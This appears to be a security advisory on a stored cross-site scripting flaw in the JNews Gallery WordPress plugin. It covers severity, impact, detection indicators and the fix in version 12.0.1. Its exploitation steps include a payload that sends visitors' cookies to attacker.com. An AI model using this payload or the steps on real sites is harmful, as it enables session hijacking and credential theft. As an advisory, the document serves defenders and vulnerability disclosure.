CVE-2025-67538: 
WordPress vulnerability analysis and mitigation

CVE-2025-67538 is a Stored Cross-Site Scripting (XSS) vulnerability in the JNews Gallery WordPress plugin by jegtheme. It affects all versions of the plugin prior to 12.0.1 and was reported by Ananda Dhakal of Patchstack on November 6, 2025, with public disclosure on December 6, 2025. The vulnerability carries a CVSS v3.1 base score of 6.5 (Medium) (Patchstack).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation), specifically a Stored XSS variant. An authenticated attacker with at least Contributor or Developer-level privileges can inject malicious scripts into gallery content that is then persistently stored and rendered to site visitors. Exploitation requires low attack complexity but does require user interaction — a privileged user must trigger the stored payload by visiting or interacting with the affected page (Patchstack).

Successful exploitation allows an attacker to inject and persistently store malicious JavaScript, HTML redirects, or advertisement payloads within the WordPress site, which execute in the browsers of visiting users. This can lead to session hijacking, credential theft, defacement, or redirection of site visitors to malicious external resources. The scope is changed (S:C), meaning the impact extends beyond the vulnerable component to affect end users' browsers, with low confidentiality, integrity, and availability impacts (Patchstack).

No public proof-of-concept exploit code or evidence of active in-the-wild exploitation has been reported for CVE-2025-67538. The EPSS score is approximately 0.039%, indicating a low probability of exploitation in the near term. Patchstack notes that vulnerabilities of this class are sometimes used in mass-exploit campaigns targeting WordPress plugins at scale, regardless of site popularity. No threat actor attribution or CISA KEV catalog listing has been identified (Patchstack).

1. Reconnaissance: Identify WordPress sites running the JNews Gallery plugin (jnews-gallery) in a version prior to 12.0.1 using tools like WPScan or Shodan.
2. Obtain low-privilege access: Register or obtain credentials for a Contributor or Developer account on the target WordPress site.
3. Inject malicious payload: Navigate to the JNews Gallery plugin's content editor and insert a crafted XSS payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) into an unsanitized gallery input field.
4. Persist the payload: Save or publish the gallery content, causing the malicious script to be stored in the WordPress database.
5. Trigger execution: When a privileged user (e.g., administrator) or site visitor views the affected gallery page, the stored script executes in their browser, enabling session hijacking, credential theft, or further malicious actions (Patchstack).

• Logs: WordPress access logs showing POST requests to gallery-related admin endpoints (e.g., /wp-admin/admin-ajax.php or gallery post edit pages) from low-privilege accounts containing script tags or encoded JavaScript payloads.
• Database: Unexpected <script> tags, JavaScript event handlers (e.g., onerror, onload), or encoded payloads stored in WordPress post meta or options tables associated with JNews Gallery content.
• Network: Outbound requests from site visitors' browsers to unknown external domains shortly after loading pages containing JNews Gallery content, potentially indicating active payload execution.
• File System: Unexpected modifications to plugin files within the wp-content/plugins/jnews-gallery/ directory that may indicate secondary tampering following initial XSS exploitation.

The vendor (jegtheme) has released version 12.0.1 of the JNews Gallery plugin, which patches this vulnerability. Site administrators should update the plugin to version 12.0.1 or later immediately via the WordPress admin dashboard or manually. Patchstack users can enable auto-update for vulnerable plugins as an additional safeguard. If an immediate update is not possible, restricting Contributor and Developer role access to gallery content creation can reduce exposure (Patchstack).